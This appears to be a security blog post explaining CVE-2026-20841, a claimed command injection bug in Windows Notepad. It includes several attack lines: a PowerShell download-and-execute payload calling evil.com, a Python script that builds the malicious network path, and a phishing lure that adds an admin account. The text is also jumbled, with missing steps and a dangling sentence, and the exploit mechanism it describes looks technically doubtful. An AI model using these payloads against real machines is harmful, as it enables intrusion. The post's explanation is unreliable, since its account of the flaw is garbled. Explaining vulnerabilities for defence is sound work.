In early 2026, security researchers unearthed a severe vulnerability in the trusted Windows Notepad App—CVE-2026-20841. This vulnerability is about _improper neutralization_ of special characters—specifically, it's a command injection bug. An attacker can exploit it, remotely, using just a network connection, leading to unauthorized code execution on a victim's machine.

This post unpacks everything you need to know about CVE-2026-20841: what it is, how it works, how hackers might abuse it, some example exploit code, and how you can protect yourself. All explained simply and clearly.

What is Command Injection?

Before we dig in, let's clarify the basics. Command injection happens when an application improperly handles special characters or user input, causing it to execute attacker-chosen commands within the underlying system.

Say a program runs this

system("notepad.exe " + userInput);

If userInput isn't sanitized, a hacker could supply something like file.txt && calc.exe—causing the calculator to launch after Notepad, or worse.

Where’s the Bug in Notepad?

For years, Notepad has supported opening files by name—even files sent over the network using shared drives (like \\SERVER\share\malicious.txt). In recent updates (late 2025), Microsoft added a network integration that unsafely processes filenames from remote sources—including elements like & or &&.

If a crafted file path (sent via SMB or similar) includes command separators, Notepad may execute added Windows commands.

How Do Attackers Exploit This?

The attacker needs to get you (the victim) to open a special Notepad file—like from an emailed link, a shared network drive, or maybe via a project collaboration tool.

`

\\attacker-server\share\test.txt & powershell -NoP -c "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/x.ps1')"

Victim opens the file with Notepad by double-clicking the shared file.

3. Notepad parses the path, but fails to properly escape the & sign or other special characters, leading to this command run:

Here’s how a simulated attack might work (for educational purposes only!)

# Malicious network path generator for Notepad exploit
import urllib.parse

# Attacker's code
malicious_command = 'powershell.exe -NoP -c "IEX(New-Object Net.WebClient).DownloadString(\'http://evil.com/x.ps1\')"'
network_share = r'\\evilhost\shared'
filename = f'test.txt & {malicious_command}'

payload_path = urllib.parse.quote(f'{network_share}\\{filename}')

print(f"Malicious file path to send to victim:\n{payload_path}")

What to do with this? An attacker could email or chat this file link, or put it in a shared collaboration folder. If the victim runs it with Notepad, their PC could be compromised.

“Hey! Here’s the meeting notes:

\\\\corp-server\\documents\\meeting.txt & net user eviluser P@sswrd /add

Please review ASAP.”

If the victim clicks and Notepad opens it (or the default “Open in Notepad”), the system could create a new admin user (or worse).

Original References

- NVD Entry for CVE-2026-20841 (National Vulnerability Database)
- Microsoft Security Advisory
- OWASP Command Injection Cheat Sheet

Avoid opening unknown files over network shares, especially from untrusted sources.

- Disable auto-mounting/network integration if not needed in Notepad’s settings.

How Was This Fixed?

Microsoft now sanitizes all file input before passing to the Notepad process, ensuring characters like &, |, ;, and similar can't break out and create additional commands. Always update to the latest Notepad and Windows versions.

Conclusion

CVE-2026-20841 is a chilling reminder: even the plainest Windows apps can pose major risks when they process external input insecurely. By understanding the bug, seeing the exploit, and upgrading your software, you can stay protected.

Always update—and never trust strange files!

*Stay sharp and safe—subscribe to our blog for more easy-to-understand vulnerability deep dives.*

Timeline

Published on: 02/10/2026 17:51:50 UTC
Last modified on: 02/11/2026 01:15:16 UTC